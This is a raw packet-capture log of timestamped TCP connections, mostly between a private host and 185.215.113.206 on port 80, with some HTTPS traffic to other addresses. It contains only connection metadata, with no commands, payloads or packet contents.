Nov 20, 2024 18:57:43.860778093 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.860873938 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.860934973 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.866233110 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.866247892 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.866287947 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.866322041 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.871350050 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.871417999 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.871495008 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.871663094 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.876166105 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.876219034 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.876296997 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.876451015 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.881311893 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.881352901 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.881409883 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.881445885 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.886270046 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.886284113 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.886322975 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.886358976 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.890959024 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.891021967 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.891031981 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.891072035 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.895746946 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.895790100 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.895832062 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.895865917 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.900530100 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.900583982 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.900592089 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.900621891 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.931190968 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.931205988 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.931262016 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.942720890 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.942859888 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.942929029 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.947602034 CET	49850	443	192.168.2.6	23.44.203.27
Nov 20, 2024 18:57:43.947628975 CET	443	49850	23.44.203.27	192.168.2.6
Nov 20, 2024 18:57:43.947722912 CET	49850	443	192.168.2.6	23.44.203.27
Nov 20, 2024 18:57:43.947757959 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.947770119 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.947803974 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.947827101 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.948045969 CET	49850	443	192.168.2.6	23.44.203.27
Nov 20, 2024 18:57:43.948062897 CET	443	49850	23.44.203.27	192.168.2.6
Nov 20, 2024 18:57:44.067842007 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.067863941 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.067902088 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.067953110 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.307010889 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.307188988 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.307498932 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.307517052 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.307528019 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.307539940 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.307562113 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.307575941 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.307590961 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.307602882 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.307601929 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.307616949 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.307630062 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.307647943 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.307674885 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.307679892 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.307687998 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.307703018 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.307718039 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.307725906 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.307735920 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.307748079 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.307753086 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.307780027 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.307784081 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.307786942 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.307792902 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.307797909 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.307806015 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.307806969 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.307807922 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.307810068 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.307813883 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.307821035 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.307826996 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.307840109 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.307845116 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.307847023 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.307857990 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.307878017 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.307883978 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.307889938 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.307895899 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.307910919 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.307921886 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.307936907 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.307945013 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.307950974 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.307960987 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.307965994 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.307985067 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.307993889 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.307997942 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.308001995 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.308022976 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.308028936 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.308037043 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.308072090 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.308073997 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.308104038 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.308193922 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.308331966 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.308346033 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.308357000 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.308370113 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.308373928 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.308376074 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.308388948 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.308401108 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.308404922 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.308413029 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.308425903 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.308449984 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.308459997 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.308468103 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.308474064 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.308496952 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.308512926 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.308515072 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.308551073 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.308569908 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.308583021 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.308593988 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.308604956 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.308608055 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.308617115 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.308617115 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.308630943 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.308643103 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.308653116 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.308654070 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.308667898 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.308681965 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.308690071 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.308701992 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.308716059 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.308726072 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.308727026 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.308726072 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.308746099 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.308758974 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.308764935 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.308772087 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.308793068 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.308814049 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.310864925 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.310878992 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.310902119 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.310913086 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.310923100 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.310944080 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.311005116 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.311294079 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.311306000 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.311322927 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.311336040 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.311345100 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.311379910 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.311455965 CET	443	49827	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:44.311516047 CET	443	49827	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:44.311568022 CET	49827	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:44.311764002 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.311809063 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.311971903 CET	443	49821	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:44.312031984 CET	443	49821	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:44.312160969 CET	49821	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:44.312361002 CET	443	49820	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:44.312433958 CET	443	49820	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:44.312504053 CET	49820	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:44.321518898 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.321572065 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.399477005 CET	49852	443	192.168.2.6	23.44.203.79
Nov 20, 2024 18:57:44.399512053 CET	443	49852	23.44.203.79	192.168.2.6
Nov 20, 2024 18:57:44.399569988 CET	49852	443	192.168.2.6	23.44.203.79
Nov 20, 2024 18:57:44.401590109 CET	49852	443	192.168.2.6	23.44.203.79
Nov 20, 2024 18:57:44.401613951 CET	443	49852	23.44.203.79	192.168.2.6
Nov 20, 2024 18:57:44.427452087 CET	49827	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:44.427490950 CET	443	49827	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:44.427510977 CET	49827	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:44.427519083 CET	443	49827	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:44.428571939 CET	49821	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:44.428591967 CET	443	49821	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:44.428603888 CET	49821	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:44.428610086 CET	443	49821	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:44.429395914 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.429455996 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.429549932 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.429563046 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.429599047 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.430280924 CET	49820	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:44.430280924 CET	49820	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:44.430294991 CET	443	49820	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:44.430305004 CET	443	49820	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:44.431940079 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.431992054 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.431999922 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.432038069 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.433779001 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.433796883 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.433860064 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.435606956 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.435661077 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.435688019 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.435725927 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.437649965 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.437760115 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.437773943 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.437808990 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.439847946 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.439879894 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.439912081 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.439939022 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.440954924 CET	49853	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:44.440984011 CET	443	49853	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:44.441117048 CET	49853	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:44.441956997 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.442025900 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.442063093 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.442101955 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.443435907 CET	49854	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:44.443470955 CET	443	49854	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:44.443538904 CET	49854	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:44.444355965 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.444411039 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.444412947 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.444447041 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.446269035 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.446311951 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.446391106 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.446424961 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.447470903 CET	49853	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:44.447487116 CET	443	49853	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:44.447727919 CET	49854	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:44.447745085 CET	443	49854	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:44.448323965 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.448378086 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.448395014 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.448430061 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.450459957 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.450508118 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.450562954 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.450674057 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.452627897 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.452677011 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.452711105 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.452755928 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.454768896 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.454837084 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.454922915 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.455076933 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.456903934 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.456935883 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.456948042 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.456968069 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.457325935 CET	49855	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:44.457340956 CET	443	49855	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:44.457396984 CET	49855	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:44.457528114 CET	49855	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:44.457537889 CET	443	49855	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:44.459042072 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.459160089 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.459161997 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.459193945 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.461210966 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.461224079 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.461262941 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.463237047 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.463352919 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.463361979 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.463396072 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.465423107 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.465466022 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.465569019 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.465604067 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.467642069 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.467655897 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.467711926 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.469675064 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.469743967 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.469752073 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.469788074 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.471807957 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.471954107 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.471986055 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.472011089 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.473911047 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.473978043 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.474075079 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.474109888 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.476044893 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.476093054 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.476171017 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.476207972 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.478190899 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.478269100 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.478331089 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.478385925 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.480283022 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.480417967 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.480420113 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.480501890 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.482450962 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.482516050 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.482626915 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.482738972 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.484672070 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.484743118 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.484781027 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.484817982 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.486701012 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.486776114 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.486797094 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.486820936 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.488858938 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.488892078 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.488918066 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.488941908 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.490950108 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.490994930 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.491054058 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.491267920 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.493088961 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.493174076 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.493223906 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.495250940 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:44.495358944 CET	49794	80	192.168.2.6	185.215.113.206
